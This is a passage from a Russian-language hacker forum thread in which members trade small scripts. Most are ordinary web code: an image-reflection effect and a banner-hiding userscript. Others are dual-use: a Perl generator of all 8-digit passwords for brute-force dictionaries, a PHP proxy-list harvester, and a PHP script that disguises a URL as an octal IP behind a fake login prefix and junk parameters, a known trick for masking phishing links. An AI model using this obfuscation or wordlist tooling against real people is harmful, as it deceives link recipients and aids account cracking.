    Reputations:
    59
    Code:
    perldoc -q 'How do I remove HTML from a string'
    
     
  13. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    Так не интересно) :)
    Изобретайте велосипеды (с) Не помню кто сказал

    Чот пойду я лучше на воздух))
     
    #1013 4upakabr0, 27 Sep 2010
    Last edited: 27 Sep 2010
  14. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    4upakabr0 о хосспаде, скорость метр в секунду для локальных операций это по вашему нормально? Это я про генератор 8 циферных паролей
    Code:
    open(F,">8dig.txt"); 
    for($i=0;$i<=99999999;$i++) 
    { 
        printf F "%08d\n", $i; 
    }
    close(F);
     
    _________________________
    #1014 Gifts, 27 Sep 2010
    Last edited: 27 Sep 2010
  15. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    Учусь еще) Буду учитывать. Конечно хотелось бы пояснений, почему второй вариант будет скорее.
     
  16. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Вообще-то, это тоже не очень хороший код ;)
    Не говоря о том, что читать такой словарь с диска наверняка медленнее, чем генерировать по одному паролю в реальном времени.
     
    1 person likes this.
  17. Sajeys

    Sajeys Banned

    Joined:
    24 Aug 2010
    Messages:
    206
    Likes Received:
    35
    Reputations:
    5
    Скрипт отражения изображения

    reflection.js
    Code:
    document.getElementsByClassName = function(className) {
    	var children = document.getElementsByTagName('*') || document.all;
    	var elements = new Array();
      
    	for (var i = 0; i < children.length; i++) {
    		var child = children[i];
    		var classNames = child.className.split(' ');
    		for (var j = 0; j < classNames.length; j++) {
    			if (classNames[j] == className) {
    				elements.push(child);
    				break;
    			}
    		}
    	}
    	return elements;
    }
    
    var Reflection = {
    	defaultHeight : 0.5,
    	defaultOpacity: 0.5,
    	
    	add: function(image, options) {
    		Reflection.remove(image);
    		
    		doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
    		if (options) {
    			for (var i in doptions) {
    				if (!options[i]) {
    					options[i] = doptions[i];
    				}
    			}
    		} else {
    			options = doptions;
    		}
    	
    		try {
    			var d = document.createElement('div');
    			var p = image;
    			
    			var classes = p.className.split(' ');
    			var newClasses = '';
    			for (j=0;j<classes.length;j++) {
    				if (classes[j] != "reflect") {
    					if (newClasses) {
    						newClasses += ' '
    					}
    					
    					newClasses += classes[j];
    				}
    			}
    
    			var reflectionHeight = Math.floor(p.height*options['height']);
    			var divHeight = Math.floor(p.height*(1+options['height']));
    			
    			var reflectionWidth = p.width;
    			
    			if (document.all && !window.opera) {
    				/* Fix hyperlinks */
                    if(p.parentElement.tagName == 'A') {
    	                var d = document.createElement('a');
    	                d.href = p.parentElement.href;
                    }  
                        
    				/* Copy original image's classes & styles to div */
    				d.className = newClasses;
    				p.className = 'reflected';
    				
    				d.style.cssText = p.style.cssText;
    				p.style.cssText = 'vertical-align: bottom';
    			
    				var reflection = document.createElement('img');
    				reflection.src = p.src;
    				reflection.style.width = reflectionWidth+'px';
    				
    				reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
    				reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';
    				
    				d.style.width = reflectionWidth+'px';
    				d.style.height = divHeight+'px';
    				p.parentNode.replaceChild(d, p);
    				
    				d.appendChild(p);
    				d.appendChild(reflection);
    			} else {
    				var canvas = document.createElement('canvas');
    				if (canvas.getContext) {
    					/* Copy original image's classes & styles to div */
    					d.className = newClasses;
    					p.className = 'reflected';
    					
    					d.style.cssText = p.style.cssText;
    					p.style.cssText = 'vertical-align: bottom';
    			
    					var context = canvas.getContext("2d");
    				
    					canvas.style.height = reflectionHeight+'px';
    					canvas.style.width = reflectionWidth+'px';
    					canvas.height = reflectionHeight;
    					canvas.width = reflectionWidth;
    					
    					d.style.width = reflectionWidth+'px';
    					d.style.height = divHeight+'px';
    					p.parentNode.replaceChild(d, p);
    					
    					d.appendChild(p);
    					d.appendChild(canvas);
    					
    					context.save();
    					
    					context.translate(0,image.height-1);
    					context.scale(1,-1);
    					
    					context.drawImage(image, 0, 0, reflectionWidth, image.height);
    	
    					context.restore();
    					
    					context.globalCompositeOperation = "destination-out";
    					var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);
    					
    					gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
    					gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");
    		
    					context.fillStyle = gradient;
    					if (navigator.appVersion.indexOf('WebKit') != -1) {
    						context.fill();
    					} else {
    						context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
    					}
    				}
    			}
    		} catch (e) {
    	    }
    	},
    	
    	remove : function(image) {
    		if (image.className == "reflected") {
    			image.className = image.parentNode.className;
    			image.parentNode.parentNode.replaceChild(image, image.parentNode);
    		}
    	}
    }
    
    function addReflections() {
    	var rimages = document.getElementsByClassName('reflect');
    	for (i=0;i<rimages.length;i++) {
    		var rheight = null;
    		var ropacity = null;
    		
    		var classes = rimages[i].className.split(' ');
    		for (j=0;j<classes.length;j++) {
    			if (classes[j].indexOf("rheight") == 0) {
    				var rheight = classes[j].substring(7)/100;
    			} else if (classes[j].indexOf("ropacity") == 0) {
    				var ropacity = classes[j].substring(8)/100;
    			}
    		}
    		
    		Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
    	}
    }
    
    var previousOnload = window.onload;
    window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }
    
    Незабываем потом его подключить))

    <script type="text/javascript" src="reflection.js"></script>


    пример использования:
    <img src="example.jpg" alt="" class="reflect" />
     
  18. AttackPro

    AttackPro New Member

    Joined:
    24 Jun 2010
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Чекер hroxy
    ----------------------------------
    PHP:
    <?php
    error_reporting
    (0);

    header('Content-type: text/plain; charset=utf-8');

    $ch curl_init('http://hideme.ru/proxy-list/http');

    curl_setopt($chCURLOPT_TIMEOUT10);
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    curl_setopt($chCURLOPT_HTTPHEADER, array('Accept: text/html, application/xml, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;''Accept-Language: ru, en, *;''Accept-Charset: iso-8859-1, utf-8, utf-16, *;''Accept-Encoding: identity;''Connection: close'));
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
    curl_setopt($chCURLOPT_REFERER'http://hideme.ru/');

    $result curl_exec($ch) or die('Неудалось собрать прокси!');

    curl_close($ch);

    preg_match_all('~[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,6}~'$result$proxy) or die('Неудалось собрать прокси!');

    file_put_contents('data/proxy.dat'implode("\r\n"array_unique($proxy[0]))) or die('Неудалось сохранить прокси!');

    die(
    'Сбор прокси закончен!');

    ?>
     
  19. Alexander89

    Alexander89 Member

    Joined:
    30 Nov 2009
    Messages:
    30
    Likes Received:
    8
    Reputations:
    0
    Тот кто отправлял смс через http://www.mts.com.ua/ukr/sendsms.php знает как парит их назойливый баннер.
    Меня это ...... и я решил убрать его.

    PHP:
    function closeBanner() { 
    if(!
    document.getElementById('smsAdvert')){ return false; } 
    document.getElementById('smsAdvert').style.display 'none'
    document.getElementById('pageContent').style.display 'block'
    document.getElementById('pageContent').style.visibility 'visible'
    clearInterval(i); 

    var 
    setInterval(closeBanner100);  


    инструкция к применению
    сохраняем выделенное жирным в файл с расширение js например mtscomua.js
    открываем через оперу http://www.mts.com.ua/ukr/sendsms.php
    F12 -> настройки для сайта -> Скрипты -> выбираем путь к папке со скриптом
    Обновляем страницу и радуемся
     
  20. Топе

    Топе Banned

    Joined:
    2 Oct 2010
    Messages:
    70
    Likes Received:
    9
    Reputations:
    2
    Скрипт для кодирования урлов (by me)
    PHP:
    $url 'www.freehost.com.ua';//исходные данные
    $ip  gethostbyname($url);//узнаем ip 
    $ch  explode('.',$ip);//разделяем ip на 4 части
    foreach($ch as $value)$v_8[] = '0'.base_convert($value108);//каждуч из частей конвертируем в 8-ю систему счисления
    $url '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин
    $url urlencode($url);//кодируем в формат url (знак @ превратится в %40)
    $url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?"
    echo $url;
    пример:
    было www.freehost.com.ua
    стало 122.11.21.167%400302.00.0310.0312?%509&404_1/index.php
     
Loading...